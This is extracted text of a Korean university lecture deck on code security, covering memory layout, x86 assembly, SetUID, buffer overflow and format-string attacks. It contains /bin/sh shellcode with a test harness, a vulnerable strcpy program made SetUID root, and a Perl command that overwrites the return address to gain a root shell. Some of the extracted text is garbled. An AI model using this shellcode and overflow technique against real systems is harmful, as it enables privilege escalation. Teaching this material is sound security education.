41
정정 정정 정정 정정 정정 정정 정정 정정 정정정 정정정 정정정정정 정정정정정정정 정정정정정 정정정정정정정

정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

Embed Size (px)

DESCRIPTION

정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공. 1. 컴퓨터의 기본 구조를 살펴본다. 2. 기계어 수준에서의 프로그램 동작을 이해한다. 3. 버퍼 오버플로우와 포맷 스트링 공격을 알아본다. Section 01 시스템과 프로그램에 대한 이해. 시스템 메모리 구조 프로그램을 동작시키면 메모리에 프로그램이 동작하기 위한 가상의 메모리 공간이 생성되며 , 이 메모리 공간은 다시 그 목적에 따라 상위 , 하위 메모리로 나뉨. - PowerPoint PPT Presentation

Citation preview

Page 1: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

정보 보안정보 보안

코드 보안코드 보안

최미정최미정강원대학교 컴퓨터과학전공강원대학교 컴퓨터과학전공

Page 2: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

이 장에서 다룰 내용이 장에서 다룰 내용이 장에서 다룰 내용이 장에서 다룰 내용

컴퓨터의 기본 구조를 살펴본다 .

기계어 수준에서의 프로그램 동작을 이해한다 .

버퍼 오버플로우와 포맷 스트링 공격을 알아본다 .

1

2

3

Page 3: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

시스템 메모리 구조 프로그램을 동작시키면 메모리에 프로그램이 동작하기 위한 가상의 메모리 공간이

생성되며 , 이 메모리 공간은 다시 그 목적에 따라 상위 , 하위 메모리로 나뉨 .

상위 메모리 : 스택 (Stack)

이라는 메모리 공간이 형성되고 , 프로그램 로직이 동작하기 위한 인자 (Argument) 와 프로세스 상태를 저장하는 데 사용됨 .

하위 메모리 : 힘 (Heap) 이 생성되고 , 프로그램이 동작할 때 필요한 데이터 정보를 임시로 저장하는 데 사용됨 .

Page 4: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

80x86 CPU 에서 제공하는 레지스터 : CPU 의 임시 메모리범주 이름 내용 용도

범용 레지스터

AX(AH, AL) Accumulator 산술 연산에 주로 사용

BX(BH, BL) Base Register 베이스의 주소를 저장하는 데 사용

CX(CH, CL) Count Register 반복적으로 실행되는 특정 명령에 사용

DX(DH, DL)

Data Register SS 레지스터와 함께 사용되어 스택내의 변수값을 읽는 데 사용

오프셋 레지스터

BP Base Pointer 오프셋 레지스터 스택내의 변수값을 읽는 데 사용

IP Instruction Pointer다음 명령어의 오프셋을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령어의 주소 형성

SP Stack Pointer SS 레지스터와 함께 사용되며 , 스택의 가장 끝 주소를 가리킴

DI Destination Index 다음 목적지 주소에 대한 값 저장

SI Source Index 출발지 주소에 대한 값 저장

세그먼트레지스터

DSData Segment

Register변수의 기본 베이스 주소 저장

ESExtra Segment

Register변수의 추가 베이스 주소 저장

SSStack Segment

Register스택의 베이스 주소 저장

CSCode Segment

Register명령어 코드의 베이스 주소 저장

플래그 레지스터 (Flags Register)CPU 내부의 명령에 따른 결과나 명령 수행 방식을 설정하거나 설정되는 레지스터

Page 5: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

main 함수와 덧셈을 하는 function 이라는 서브 루틴이 있는 프로그램 .

와우 리눅스 6.2 에서 실행 .

void main(){

int c;

c = function(1, 2);

}

int function(int a, int b){

a = a+b;

return a;

}

sample.c

Page 6: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

어셈블리어 생성

Gcc –S –o sample.a sample.c

Page 7: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➊ 메인 함수 시작 메인 함수가 종료될 때 프로세스가 복귀할 주소 (ret) 가 스택에 저장

➊ pushl %ebp 스택에 %ebp 값을 밀어넣음 (push). ebp 는 프레임 포인터 (Frame Pointer) 또는 베이스 포인터 (Base Pointer) 라고

불림 . 프레임 포인터는 프로그램이 동작하면서 스택에 저장된 인수값 등을 찾아가기 위한 기준 메모리 주소임 .

0

Page 8: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➋ movel %esp, %ebp esp 값을 ebp 로 이동 (move) 하는

것으로 , 현재의 esp 값을 ebp

레지스터에 저장 . (esp 는 스택의 항상 가장 하위 메모리 주소를 가리키는 주소값 )

➌ subl $4, %esp esp 에서 4 바이트를 뺀다

(subtraction). 즉 , 스택에 4 바이트(int 형은 4 바이트 ) 의 빈 공간을 할당

C 프로그램의 int c; 를 실행하는 어셈블리어 코드

Page 9: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➍ pushl $2➎ pushl $1➏ call function

이 세 단계는 main 함수에서 function(1, 2) 를 실행한다 .

스택에 2 를 집어넣고 다시 1 을 집어넣은 뒤 , function 함수를 호출 . call 명령이 function

함수가 끝났을 때 복귀하는 주소를 스택에 저장 .

Page 10: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➐ pushl %ebp 현재 레지스터의 ebp 값을 스택에

저장 .

➑ movl %esp, %ebp

현재의 esp 값을 레지스터 ebp 에 저장

Page 11: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➒ movl 12(%ebp), %eax ebp 에서 12 바이트를 더한 주소값의 내용 ( 정수 2) 을 레지스터 eax 에

저장

Page 12: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➓ addl %eax, 8(%ebp)

ebp 에서 8 바이트 상위에 있는 값에 eax 레지스터의 값을 더함 .

eax 에는 현재 2 가 ( 단계 ), ebp 에서 8 바이트 상위에는 1 이 있음 .

ebp 에서 8 바이트 상위에 3 이 저장됨 .

function 함수의 a=a+b; 가 실행되는 과정임 .

9

Page 13: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➐ movl 8(%ebp), edx 8 바이트 상위에 있는 값을 edx 에 저장 .

edx 에는 3 이 저장➐ movl %edx, %eax

edx 값을 eax 에 저장 . eax 에도 3 이 저장➐ jmp .L2

L2 로 점프➐ leave

함수를 끝냄➐ ret

호출한 프로시저로 복귀하는 명령으로 , 스택에서 복귀 주소를 빼내 (Pop), 복귀 주소로 점프

➐ 부터 ➐단계까지는 function 함수의 return a; 가 실행되는 과정

11

12

13

14

15

11 15

Page 14: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➐ addl $8, %esp

esp 에 8 바이트를 더함

➐ movel %eax, %eax

레지스터 eax 값을 레지스터 eax 로 복사 ( 사실상 의미는 없음 ). eax 값은 12 단계에서 3 으로 저장되어 있었음

16

17

Page 15: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➐ movel %eax, -4(%ebp) eax 값을 ebp 에서 4 바이트 아래의 주소값 (int c) 에 복사 . main 함수의 c= function (1, 2); 가 실행되는 과정 .

➐ leave➐ ret

모든 과정을 마치고 프로그램을 종료

18

19

20

Page 16: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

셀이란 운영체제를 둘러싸고 있으면서 입력받는 명령어를

실행시키는 명령어 해석기 . 본 셸 , 콘 셸 , C 셸로 나눌 수 있고 , 본 셸은 유닉스

시스템에서 사용하는 기본 셸임 .

셸의 역할 자체의 내장 명령어 제공 입력 /출력 /오류의 리다이렉션 (Redirection) 기능 제공 wildcard 기능 제공 파이프라인 기능 제공 조건부 /무조건부 명령열 (Sequences) 작성 기능 제공 서브셸 (Subshell) 생성 기능 제공 후면 처리 (Background Processing) 가능 셸 스크립트 (Shell Script, 프로그램 ) 작성 가능

Page 17: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

셀의 실행과 취소 셸은 /bin/sh 명령으로 실행할 수 있으며 , exit 명령을 통해 해당 셸을 빠져나올

수 있음 .

/bin/sh 를 버퍼 오버플로우나 포맷 스트링 공격에서는 다음과 같이 기계어 코드로 바꾸어 메모리에 올림 .

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00"

"\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01"

"\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff"

"\x2f\x62\x69\x6e\x2f\x73\x68";

Page 18: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

기계어 코드가 셸로 실행되는지 여부 확인char shell[]="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00""\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01""\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff""\x2f\x62\x69\x6e\x2f\x73\x68";

void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shellcode;}

shell.c

gcc -o shell -g -ggdb shell.c./shell

Page 19: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

SetUID

유닉스 시스템을 해킹하는 데 매우 중요한 요소로 , 유닉스 파일에 rwsr-xr-x 로 권한 설정이 되어 있음 . 소유자 권한에서 x 가 있을 자리에 s 가 적혀 있음 .

SetUID 파일은 해당 파일이 실행될 때 누가 실행하든지 관계없이 파일 소유자의 권한을 갖는다는 특징이 있음 . 즉 , 해당 파일의 소유자가 root 이면 , 그 파일은 실행하는 사람이 누가 되었든지 파일이 실행되는 프로세스는 실행시간 동안 파일 소유자인 root 권한으로 실행됨 .

예 ) test 라는 파일이 root 소유이며 SetUID 비트가 설정되어 있으면 [ 그림 4-16] 과 같이 실행되고 , SetUID 비트가 설정되어 있지 않다면 [ 그림 4-17] 과 같이 실행됨 .

Page 20: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

1

1

Page 21: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

와우리눅스 6.2 버전에서 SetUID 를 이용한 간단한 해킹 수행 setUID 부여

일반계정으로 SetUID 가 부여된 셸 실행

1

1

Page 22: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

버퍼 오버플로우란

가장 기본 개념은‘덮어쓰기’다 . 정상적인 경우에는 사용되지 않아야 주소 공간 , 즉 원래는 덮어쓸 수 없는 부분에

해커가 임의의 코드를 덮어쓰는 것

버퍼 오버플로우 공격은 프로그래머가 취약한 특정 함수를 사용해야 가능 .

Page 23: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

버퍼 오버플로우의 원리

➊ int main(int argc, char *argv[]){

•argc: 취약한 코드인 bugfile.c 가 컴파일되어 실행되는 프로그램의 인수 개수

•*argv[]: 포인터 배열로서 인자로 입력되는 값에 대한 번지수를 차례대로 저장 .– argv[0]: 실행 파일의 이름

– argv[1]: 첫 번째 인자의 내용

– argv[2]: 두 번째 인자의 내용

➋ char buffer[10]: 10 바이트 크기의 버퍼를 할당➌ strcpy(buffer, argv[1]); 버퍼에 첫 번째 인자 (argv[1]) 를 복사 (abcd 값을 버퍼에

저장 ).➍ printf(“%s\n”, &buffer): 버퍼에 저장된 내용 출력

버퍼 오버플로우 공격은 strcpy(buffer, argv[1]) 에서 일어남 .

int main(int argc, char *argv[]) { -------------- char buffer[10]; -------------------- strcpy(buffer, argv[1]); -------------- printf("%s\n", &buffer); --------------}

bugfile.c➊➋➌➍

Page 24: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

GDB 를 이용하여 main 함수를 먼저 살펴보고 strcpy 가 호출되는 과정을 살펴본다 .gcc -o bugfile bugfile.cgdb bugfiledisass main

➊ 0x80483f8 <main>: push %ebp

➋ 0x80483f9 <main+1>: mov %esp,%ebp

스택에 ebp 값을 밀어넣고 , 현재의 esp

값을 ebp 레지스터에 저장

➌ 0x80483fb <main+3>: sub $0xc,%esp

main 함수의 char buffer[10]; 를 실행하는 과정 .

명령은 char 로 메모리에 10 바이트를 할당하였으나 , 메모리에서는 모두 4바이트 단위로 할당이 되니 실제로 할당되는 메모리는 12 바이트가 됨 .

Page 25: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax

ebp 에서 상위 12 바이트 (0xC) 의 내용을 eax

레지스터에 저장 .

eax 레지스터는 char *argv[] 를 가리키고 ,

eax 에 argv[] 에 대한 포인터 값이 저장 .

➎ 0x8048401 <main+9>: add $0x4,%eax

eax 값을 4 바이트만큼 증가 . argv[] 에 대한 포인터이므로 argv[1] 을 가리키게 됨 .

➏ 0x8048404 <main+12>: mov (%eax),%edx

eax 레지스터가 가리키는 주소의 값을 edx

레지스터에 저장 . 프로그램을 실행할 때 인수 부분을 가리키게 됨 .

Page 26: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➐ 0x8048406 <main+14>: push %edx

프로그램을 실행할 때 인수에 대한 포인터를 스택에 저장 .

인수를 주지 않고 프로그램을 실행시키면 ,

0x0 값이 스택에 저장됨 .

➑ 0x8048407 <main+15>: lea 0xfffffff4(%ebp),%eax

eax 레지스터의 주소값을 12(%ebp) 에 저장 .

[ 그림 4-22] 의 ‘인수에 대한 포인터’에 eax 의 주소값을 저장 .

Page 27: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

➒ 0x8048340 <strcpy>: jmp *0x80494c0

버퍼 오버플로우 공격은 여기에서 일어남 .

strcpy 함수는 입력된 인수의 경계를 체크하지 않음 .

인수는 buffer[10] 으로 10 바이트 길이를 넘지 않아야 하지만 이보다 큰 인수를 받아도 스택에 쓰게 됨 .

13개의 A 를 인수로 쓰게 되면 [ 그림 4-25] 와 같이 A 가 쌓임 .

1

1

Page 28: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

컴파일하고 실행하면서 인수로 A 를 충분히 많이 입력 시도 . bugfile 은 관리자 권한으로 SetUID 권한을 부여 (chmod 4755 bugfile 명령

실행 ).

•16번째 문자에서 세그먼테이션 오류 발생

•bugfile.c 의 char buffer[10] 이 할당되는 주소 공간이 12 바이트 , ebp 가 저장되는 공간이 4 바이트이기 때문에 A 가 16개 , 즉 16 바이트 ( 주소 공간 12

바이트 , ebp 저장 공간 4 바이트 ) 가 덮어씌워져 , ret 주소가 저장된 메모리 주소를 A 값으로 덮어씌우자 일어나게 됨 .

./bugfile AAAAAAAAAAAAAAA

./bugfile AAAAAAAAAAAAAAAA

Page 29: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

일반적으로 공격에 egg shell 사용 (gcc –o egg eggshell.c 로 컴파일 )

일반 사용자 권한으로 돌아가서 펄을 이용해 A 문자열과 셸의 메모리 주소를 bugfile 에 직접적으로 실행

./egg

perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\ x48\ xfb\ xff\ xbf"‘ id

메모리의 0xbfffb58 에 셸이 적재되었음을 확인

Page 30: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

공격이 모두 끝난 후 스택의 메모리 상태는 다음과 같음 .

Page 31: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

strcpy(char *dest, const char *src);

strcat(char *dest, const char *src);

getwd(char *buf);

gets(char *s);

fscanf(FILE *stream, const char *format, ...);

scanf(const char *format, ...);

realpath(char *path, char resolved_path[]);

sprintf(char *str, const char *format);

Page 32: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

포맷 스트링 공격 버퍼 오버플로우 공격과 매우 유사 . 포맷 스트링 문자를 사용하지 않고 출력 함수를

사용하는 데 대한 공격

•매체로 쓰이는 포맷 스트링은 발신자가 B 로 되어 있는 편지 봉투고 , 공격 코드는 편지가

됨 .

Page 33: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

포맷 스트링의 사용 예

포맷 스트링의 문자의 종류

#include <stdio.h>

main(){

char *buffer = "wishfree";

printf("%s\n", buffer);

}

right.c

매개변수 변수 형식 매개변수 변수 형식

%d 정수형 10진수 상수 (integer) %u 양의 정수 (10진수 )

%f 실수형 상수 (float) %o 양의 정수 (8진수 )

%lf 실수형 상수 (double) %x 양의 정수 (16진수 )

%c 문자 값 (char) %n * int(쓰인 총 바이트 수 )

%s문자열 ((const)(unsigned) char

*)%hn %n 의 반인 2 바이트 단위

포맷 스트링

Page 34: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

문제 스트링 문자를 이용하지 않고 , printf 와 같은 함수 이용

#include <stdio.h>main(){ char *buffer = "wishfree\n"; printf(buffer);}

wrong.c

#include <stdio.h>main(){ char *buffer = "wishfree\n%x\n"; printf(buffer);}

test1.c

wrong.c 에서 char *buffer 에 문자열을 입력할 때 %x 포맷 스트링 문자 추가

wishfree 문자열 이외에 8048440 이라는 숫자 출력 . 이는 wishfree 문자열이 저장된 다음의 메모리에 존재하는 값으로 0x08028440 을 의미 .

[ 그림 4-31] test1 을 실행한 결과

Page 35: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

문제 printf("%s%n\n", j, &i) 부분 : argv[1] 값을 문자열 (%s) 로 바꾼뒤 , 해당

문자열의 개수를 세어 그 값을 i의 주소값에 입력함 .

#include <stdio.h>void main(int argc, char *argv[]){ int i=10; printf(" 최초 i 의 값 : %d\n",i); printf("%s%n\n", argv[1], &i); printf(" 변경된 i 의 값 : %d\n",i);}

test2.c

i 값이 입력된 A 의 개수로 변경됨 .

%s 뒤의 %n 이 개수를 세는 역할을 한 것

임 .

[ 그림 4-32] test2 를 실행한 결과

Page 36: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

포맷 스트링 공격 포맷 스트링을 이용하여 , 버퍼 오버플로우와 같이 메모리에 셸을 띄워 놓고 , ret 값을 변조하여 관리자 권한 획득 .

결국 포맷 스트링과 버퍼 오버플로우는 함수 실행시 ret 값을 변조하는 방법만 다를 뿐 기본 개념은 같다고 볼 수 있음 .

Page 37: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

메모리의 기본 구조

크게 스택과 힙으로 구분

Page 38: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

80x86 CPU 의 주요 레지스터

셀 운영체제를 둘러싸고 입력받는 명령어를 실행시키는 명령어 해석기

범주 이름 내용 용도

범용 레지스터

AX(AH, AL) Accumulator 산술 연산에 주로 사용

BX(BH, BL) Base Register 베이스의 주소를 저장하는 데 사용

CX(CH, CL) Count Register 반복적으로 실행되는 특정 명령에 사용

DX(DH, DL)

Data Register 일반 데이터를 저장하는 데 사용

오프셋 레지스터

BP Base Pointer 오프셋 레지스터 스택내의 변수값을 읽는 데 사용

SP Stack Pointer 스택의 가장 끝 주소를 가리킴 .

Page 39: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

프로세스 권한과 SetUID 각 계정에는 고유한 UID 가 있으며 , SetUID 가 부여된 프로그램을 실행할 때 다음과 같이 그 권한이

임시적으로 바뀔 수 있다

Page 40: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

버퍼오버플로우 입력 값을 확인하지 않는 입력 함수에 정상보다 큰 값을 입력하여 ret 값을 덮어쓰기 함으로써 ,

임의의 코드를 실행시키기 위한 공격이다 . 입력 값을 확인하지 않는 함수는 다음과 같다 .

• strcpy(char *dest, const char *src);

• strcat(char *dest, const char *src);

• getwd(char *buf);

• gets(char *s);

• fscanf(FILE *stream, const char *format, ...);

• scanf(const char *format, ...);

• realpath(char *path, char resolved_path[]);

• sprintf(char *str, const char *format);

포맷 스트링 포맷 스트링 문자를 사용하지 않고 다음과 같이 출력 함수를 사용하는 데 대한 공격이다 . 버퍼 오버플로우 공격처럼 ret 값을 변조하여 임의의 코드를 실행시킬 수 있다 .

#include <stdio.h>main(){ char *buffer = "wishfree\n"; printf(buffer);}

Page 41: 정보 보안 코드 보안 최미정 강원대학교 컴퓨터과학전공

정보 보안 개론 4 장 끝

41